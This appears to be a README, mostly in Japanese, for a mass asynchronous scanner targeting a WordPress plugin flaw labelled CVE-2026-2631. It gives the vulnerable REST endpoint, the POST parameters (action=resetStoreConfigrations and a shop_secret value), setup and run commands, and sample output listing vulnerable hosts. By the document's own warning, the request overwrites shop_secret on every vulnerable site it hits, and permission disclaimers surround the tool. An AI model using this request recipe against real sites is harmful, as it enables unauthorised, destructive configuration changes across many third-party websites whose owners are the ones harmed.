このスキャナは以下のことを目的としています:
このリポジトリはプライベート/内部使用のみを目的としています。
aiohttpによる非同期スキャンvuln_results.txtへの自動ログ記録richインストール時のリッチなカラー出力スキャナは以下のエンドポイントにリクエストを送信します:
/wp-json/gsf/v1/update-options
以下の検証フィールドを含むPOSTリクエストを使用します:
action=resetStoreConfigrationsshop_secret=<カスタムまたはデフォルト値>ターゲットが脆弱と判定される条件:
200であること、かつスキャナはまた、明らかな誤検知を減らすためのシンプルなエラーパターンフィルタも適用します。
aiohttprich (任意、カラー出力用)依存関係のインストール:
pip install aiohttp rich
ターゲットファイル(例: list.txt)を準備します:
example.com
sub.example.com
https://app.example.com
http://dev.example.com
スキャナを実行します:
python main.py
スクリプトは以下をプロンプトで要求します:
YES)shop_secret値デフォルト値:
list.txt2010秒 #####################################################################
# CVE-2026-2631 Scanner - Async Mass Checker (Author AnggaTechI) #
# Only vulnerable targets will be shown and logged. #
# WARNING: This test CHANGES shop_secret on vulnerable #
# sites. Use only with permission. #
# https://github.com/AnggaTechI #
#####################################################################
⚠️ DESTRUCTIVE OPERATION WARNING
This script will change shop_secret on vulnerable sites.
Scanning 250 targets with 20 concurrent requests...
Only vulnerable sites will appear below.
https://target.tld -> Vuln Found
https://sub.target.tld -> Vuln Found
[Progress] 50/250 scanned...
[Progress] 100/250 scanned...
=== Scan Complete ===
Total targets : 250
Vulnerable found : 2
Errors (by type) :
- timeout: 4
- connection: 7
検出された結果は以下に保存されます:
vuln_results.txt
脆弱と識別されたターゲットのみが結果ファイルに書き込まれます。
このリポジトリはプライベート研究および内部検証目的のみで維持されています。
作者は、このツールの不適切な操作によって引き起こされた誤用、無許可スキャン、サービス中断、または設定変更について責任を負いません。
責任を持って使用してください。慎重に使用してください。許可を得た場合のみ使用してください。
AnggaTechI
内部ワークフロー向けのプライベートセキュリティツール。